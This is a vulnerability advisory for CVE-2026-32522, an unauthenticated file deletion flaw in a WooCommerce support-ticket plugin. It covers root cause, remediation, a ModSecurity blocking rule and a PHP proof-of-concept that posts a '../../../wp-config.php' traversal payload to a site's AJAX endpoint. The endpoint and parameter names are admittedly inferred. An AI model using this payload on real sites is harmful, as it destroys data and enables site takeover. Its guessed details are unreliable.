Atomic Edge analysis of CVE-2026-32522 (metadata-based):
The WooCommerce Support Ticket System plugin for WordPress versions prior to 18.5 contains an unauthenticated arbitrary file deletion vulnerability. This flaw stems from improper path validation in a plugin component, allowing attackers to delete any file on the server. The CVSS 3.1 score of 9.1 reflects the high severity of this network-accessible, low-complexity attack requiring no privileges.
Atomic Edge research identifies the root cause as CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). The vulnerability description confirms insufficient file path validation. Without source code, we infer the plugin likely accepts user-controlled input specifying a file path and passes it directly to a file deletion function like PHP’s `unlink()`. The plugin fails to validate whether the resolved path remains within an intended directory, allowing directory traversal sequences (e.g., `../../../`) to escape restrictions. This inference aligns with the CWE classification and the described arbitrary file deletion impact.
Exploitation involves sending a crafted HTTP request to a plugin endpoint that processes file deletion. Based on WordPress plugin patterns, the attack vector is likely an AJAX handler accessible via `/wp-admin/admin-ajax.php`. The `action` parameter would contain a hook like `wcsts_delete_file` or similar. Another parameter, perhaps `file` or `attachment`, would contain a traversal payload such as `../../../wp-config.php`. Attackers send this request without authentication or a valid nonce. The plugin’s missing capability check and path sanitization allows the payload to reach `unlink()`.
Remediation requires implementing proper path validation and access controls. The patched version likely adds a capability check (e.g., `current_user_can(‘manage_options’)`) to restrict endpoint access. It should also normalize the user-supplied path, resolve it to an absolute path, and verify it begins with an allowed directory prefix (e.g., the plugin’s upload folder). The fix may also include nonce verification and removal of directory traversal sequences via `realpath()` or sanitization functions.
Successful exploitation enables complete server compromise. Attackers can delete critical WordPress files like `wp-config.php`, causing site outage and potentially exposing database credentials. Deleting `.htaccess` files can disable security restrictions. Arbitrary file deletion often leads to remote code execution by removing files that trigger application re-installation or by deleting files that control access, allowing upload of webshells. The impact includes site takeover, data loss, and further server penetration.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32522 (metadata-based)
# This rule blocks exploitation of the arbitrary file deletion vulnerability in the WooCommerce Support Ticket System plugin.
# It matches requests to the WordPress AJAX handler with the inferred action name and checks for directory traversal sequences in the 'file' parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10032522,phase:2,deny,status:403,chain,msg:'CVE-2026-32522 via WooCommerce Support Ticket System AJAX - Arbitrary File Deletion Attempt',severity:'CRITICAL',tag:'CVE-2026-32522',tag:'WordPress',tag:'Plugin',tag:'WooCommerce-Support-Ticket-System'"
SecRule ARGS_POST:action "@streq wcsts_delete_attachment" "chain"
SecRule ARGS_POST:file "@rx (../|..\\)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-32522 - WooCommerce Support Ticket System < 18.5 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof of Concept for CVE-2026-32522
* Assumptions based on metadata:
* 1. The plugin exposes an AJAX endpoint for file deletion.
* 2. The endpoint lacks authentication and path validation.
* 3. The 'action' parameter hook is derived from plugin slug 'woocommerce-support-ticket-system' (abbreviated as 'wcsts').
* 4. A parameter like 'file' or 'attachment' accepts the traversal payload.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Craft the payload to delete wp-config.php (commonly targeted for RCE)
$payload = array(
'action' => 'wcsts_delete_attachment', // Inferred AJAX action name
'file' => '../../../wp-config.php' // Traversal payload
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check result
if ($http_code == 200) {
echo "Request sent. Check if wp-config.php was deleted.n";
echo "Response: " . htmlspecialchars($response) . "n";
} else {
echo "Request failed with HTTP code: $http_coden";
}
curl_close($ch);
?>
